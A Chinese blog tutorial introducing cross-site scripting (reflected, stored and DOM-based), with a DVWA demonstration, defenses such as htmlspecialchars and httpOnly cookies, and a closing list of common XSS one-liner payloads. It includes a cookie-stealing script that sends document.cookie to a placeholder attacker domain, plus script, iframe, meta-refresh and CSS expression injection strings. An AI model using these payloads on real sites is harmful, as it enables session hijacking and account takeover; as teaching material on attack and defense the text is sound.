1.1 XSS简介

跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码(一般是JS代码)到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。它常常与其他漏洞一起造成破坏性的后果。

1.2 XSS的分类

XSS漏洞表现为多种形式,并且分为三种类型:反射型、储存型,DOM型。这些有一些相同的特点,但是在如何确定和利用方面有一些区别,下面依次分析他们。

1.2.1 反射型XSS

反射型XXS是一种非持久性的攻击,它指的是恶意攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的目的。

提取用户提交的输入并将其插入到服务器相应的html代码中,这是XSS漏洞的明显特征,如果应用程序没有实施任何过滤和净化,那么它很容易被攻击。

下面我就用DVWA为大家进行演示,在输入框中咱们构造如下JS代码

<script>alert('XSS')</script>

这代码是进行弹窗操作,如果页面出现弹窗,说明咱们插入的恶意代码被执行,结果如下图

进行这个简单的测试,有助于澄清两个重要问题,首先,name参数的内容可用任何返回给浏览器的数据代替,其次,无论服务器端应用程序如何处理这些数据,都无法阻止提交JS代码,一旦提交数据,这些代码就会执行。

那我们该如何利用反射型XSS漏洞呢?

最简单的一种攻击就是攻击者截获通过验证用户的会话令牌。劫持用户的会话后,攻击者就可以访问该用户经授权访问的所有数据和功能。下面为大家画图演示一下截获令牌的过程。

攻击者创建的恶意代码为

var i=new Image; i.src="http://马赛克.com/"+document.cookie;

这段代码可以让用户浏览器向马赛克.com(攻击者拥有的一个域)提出一个请求。请求中包含用户访问应用程序的当前会话令牌。

1.2.2 存储型XSS

如果一名用户提交的数据被保存到数据库中,然后不经过过滤或净化就显示给其他用户,这时候就会出现存储型XSS。

利用存储型XSS漏洞的攻击至少需要向应用程序提出两个请求。攻击者在第一个请求中构造JavaScript,应用程序接受并保存。在第二个请求中,一名受害者查看包含恶意代码的页面,这时JavaScript开始执行。

依然是会话劫持,为大家画图演示一下。

因为存储型XSS是永久性的,所以往往造成更大的安全威胁。攻击者可以向应用程序提交一些专门设计的数据,然后等待受害者访问它们。如果其中一位受害者是管理员,那么攻击者可以完全攻破整个应用程序。

1.2.3 DOM型XSS

反射型和储存型XSS漏洞都表现出一种特殊的行为模式,其中应用程序提取用户控制的数据并以危险的方式将这些数据返回给用户。DOM型XSS没有这种特点,在这种漏洞中,攻击者的JavaScript通过下面方式提交。

1,用户请求一个经过专门设计的URL,它由攻击者提交,并且其中包含嵌入式JavaScript。

2,服务器的响应中并不以任何形式包含攻击者的代码。

3,当用户的浏览器处理这个响应时,上述脚本得以处理。

在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

可能触发DOM型XSS的属性:

document.referer属性

window.name属性

location属性

innerHTML属性

documen.write属性

1.3 xss防御

一,对输入内容的特定字符进行过滤,例如 < > 等符号。

可以使用 htmlentities()函数,htmlspecialchars()函数

htmlentities()和htmlspecialchars()这两个函数对单引号(')之类的字符串支持不好,都不能转化,所以用htmlentities()和htmlspecialchars()转化的字符串只能防止XSS攻击,不能防止SQL注入攻击。

二,对重要的 cookie设置 httpOnly, 防止客户端通过document.cookie读取 cookie,此 HTTP头由服务端设置。

三, 将不可信的值输出 URL参数之前,进行 URLEncode操作,而对于从 URL参数中获取值一定要进行格式检测(比如你需要的时URL,就判读是否满足URL格式)。

四,后端接口也应该要做到关键字符过滤的问题。

最后从网上收集了一些常用跨站一句话代码,有补充直接下方留言

<script>alert("XSS")</script>
<meta http-equiv="refresh" content="1;url=http://www.baidu.com">
<script language=vbscript> window.location.href="http://www.baidu.com" </script>
<iframe name="I1" src="http://www.baidu.com/" width="0" height="0"> </iframe>
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

XSS(跨站脚本攻击)简单讲解的更多相关文章

  1. XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析

    2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...

  2. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  3. xss(跨站脚本攻击),crsf(跨站请求伪造),xssf

    我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...

  4. xss跨站脚本攻击及xss漏洞防范

    xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...

  5. web应用程序安全攻防---sql注入和xss跨站脚本攻击

    kali视频学习请看 http://www.cnblogs.com/lidong20179210/p/8909569.html 博文主要内容包括两种常见的web攻击 sql注入 XSS跨站脚本攻击 代 ...

  6. XSS跨站脚本攻击与CSRF跨站请求伪造攻击的学习总结(转载)

    转载自 https://blog.csdn.net/baidu_24024601/article/details/51957270 之前就了解过这方面的知识,但是没有系统地总结.今天在这总结一下,也让 ...

  7. PHP漏洞全解(四)-xss跨站脚本攻击

    本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站 ...

  8. JAVA覆写Request过滤XSS跨站脚本攻击

    注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. ...

  9. PHP进行安全字段和防止XSS跨站脚本攻击过滤(通用版)

    废话不多说,直接贴使用方法和代码: 使用方式:1)写在公共方法里面,随时调用即可.2)写入类文件,使用是include_once 即可 代码: /* 进行安全字段和xss跨站脚本攻击过滤(通用版) - ...

随机推荐

  1. (转)嵌入式linux系统开发过程中遇到的——volatile

    原文地址:http://blog.csdn.net/HumorRat/article/details/5631023 对于不同的计算机体系结构,设备可能是端口映射,也可能是内存映射的.如果系统结构支持 ...

  2. (转)ARM协处理器主要用途 及其 指令CDP LDC STC MCR MRC介绍

    原文地址:http://zqwt.012.blog.163.com/blog/static/120446842010111610612200/ ARM 微处理器可支持多达 16 个协处理器,用于各种协 ...

  3. Asp.net textbox 控件 的 onTextChange 事件

    <asp:TextBox ID="txt_MailType" runat="server" OnTextChanged="exitMailTyp ...

  4. angular 中嵌套 iframe 报错

    错误如下 Error: unsafe value used in a resource URL context at DomSanitizationServiceImpl.sanitize... 解决 ...

  5. VsCode编辑器那些事

    1.怎么改成中文的? 按快捷键“Ctrl+Shift+P” 在框下点击“configur Display language" 会跳转至商店,选择插件下载“Chinese (Simplifie ...

  6. loadrunner-事务

    自从安装了loadrunner之后,就没怎么用过它了,项目之前也没做过性能测试,所以学习起来比较困难,而且性能测试远远不止使用工具这么简单.下面介绍一下最近学习的loadrunner添加事务. 事务是 ...

  7. 洛谷 P1438 无聊的数列 题解

    原题链接 首先,我们考虑用差分解决问题. 用 \(x_i\) 表示原数列,\(a_i = x_i - x_{i-1}\) 那么,先普及一下差分: 如果我们只需要维护区间加值,单点求值的话,你会发现两个 ...

  8. 干货系列之java注解

    干货系列之java注解 前言 java反射和注解在java里面很重要,但是很多人对这方面的知识理解不是很好,我来说说我自己对java反射和注解的理解,这两块内容本来应该出在一个博客文章里面讲解,但是由 ...

  9. Linux中cache和buff的区别

    两者都是:缓冲区 cache是存在于cpu和内存之间的缓冲区,存放的是从disk上读取到的数据 buff是用于存放要输出到块存储的数据 清除缓冲的方法 [root@DD-Server-9F ~]# e ...

  10. 5分钟配置好你的AI开发环境

    作者 | Revolver 无论是第一次设置TensorFlow的新手数据科学爱好者,还是使用TB级数据的经验丰富的AI工程师,安装库.软件包或者框架总是一个困难又繁琐的过程.但是像Docker这样的 ...